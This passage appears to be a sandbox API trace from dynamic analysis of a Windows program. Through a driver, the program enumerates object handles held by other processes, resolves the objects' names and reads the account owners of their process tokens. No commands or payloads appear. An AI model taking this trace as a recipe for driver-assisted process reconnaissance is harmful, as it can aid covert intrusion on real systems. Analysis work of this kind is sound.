(HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.617] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.617] PsAcquireProcessExitSynchronization () returned 0x0 [0123.617] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0) [0123.617] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0123.617] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.617] PsReleaseProcessExitSynchronization () returned 0x2 [0123.617] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0123.617] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.617] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0123.617] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.617] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.617] PsAcquireProcessExitSynchronization () returned 0x0 [0123.617] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0) [0123.617] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.617] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.617] PsReleaseProcessExitSynchronization () returned 0x2 [0123.617] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0123.617] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0123.617] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.618] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.618] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.618] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.618] PsAcquireProcessExitSynchronization () returned 0x0 [0123.618] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0) [0123.618] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.618] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.618] PsReleaseProcessExitSynchronization () returned 0x2 [0123.618] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0123.618] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.618] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.618] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.618] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.618] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.618] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0123.618] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.618] PsAcquireProcessExitSynchronization () returned 0x0 [0123.618] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0) [0123.618] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0123.618] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.618] PsReleaseProcessExitSynchronization () returned 0x2 [0123.618] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0123.618] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.618] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0123.618] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.618] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.618] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0123.619] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.619] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0123.619] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.619] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x3a [0123.619] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.619] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.619] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.619] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.619] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.620] CloseHandle (hObject=0xc8) returned 1 [0123.620] CloseHandle (hObject=0xc0) returned 1 [0123.620] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.620] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.620] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.620] PsAcquireProcessExitSynchronization () returned 0x0 [0123.620] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0) [0123.620] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0123.620] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.620] PsReleaseProcessExitSynchronization () returned 0x2 [0123.620] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0123.620] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.621] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0123.621] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.621] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.621] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.621] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.621] PsAcquireProcessExitSynchronization () returned 0x0 [0123.621] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0) [0123.621] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0123.621] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.621] PsReleaseProcessExitSynchronization () returned 0x2 [0123.621] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0123.621] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.621] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0123.621] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.621] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.621] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.621] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.621] PsAcquireProcessExitSynchronization () returned 0x0 [0123.621] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0) [0123.621] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0123.621] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.621] PsReleaseProcessExitSynchronization () returned 0x2 [0123.621] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0123.621] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.621] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0123.621] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.622] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.622] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.622] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0123.622] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.622] PsAcquireProcessExitSynchronization () returned 0x0 [0123.622] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0) [0123.622] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0123.622] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.622] PsReleaseProcessExitSynchronization () returned 0x2 [0123.622] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0123.622] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.622] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0123.622] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.622] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.622] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.622] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0123.622] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.622] PsAcquireProcessExitSynchronization () returned 0x0 [0123.622] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0) [0123.622] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0123.622] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.622] PsReleaseProcessExitSynchronization () returned 0x2 [0123.622] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0123.622] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.622] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0123.622] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.622] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.622] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.622] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0123.622] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.622] PsAcquireProcessExitSynchronization () returned 0x0 [0123.622] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880044355d0) [0123.623] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0123.623] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.623] PsReleaseProcessExitSynchronization () returned 0x2 [0123.623] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0123.623] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.623] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0123.623] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.623] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.623] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0123.623] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.623] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0123.623] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.623] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0123.623] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.623] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.623] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.623] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.623] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.625] CloseHandle (hObject=0xc8) returned 1 [0123.625] CloseHandle (hObject=0xc0) returned 1 [0123.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.625] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0123.625] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.625] PsAcquireProcessExitSynchronization () returned 0x0 [0123.625] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.625] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0123.625] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.625] PsReleaseProcessExitSynchronization () returned 0x2 [0123.625] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.625] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.625] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0123.625] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.625] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.625] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.625] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0123.625] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.625] PsAcquireProcessExitSynchronization () returned 0x0 [0123.625] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.625] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0123.625] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.625] PsReleaseProcessExitSynchronization () returned 0x2 [0123.625] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.625] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.626] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0123.626] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.626] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.626] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.626] PsAcquireProcessExitSynchronization () returned 0x0 [0123.626] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.626] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.626] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.626] PsReleaseProcessExitSynchronization () returned 0x2 [0123.626] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.626] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.626] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.626] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.626] HeapFree (in: 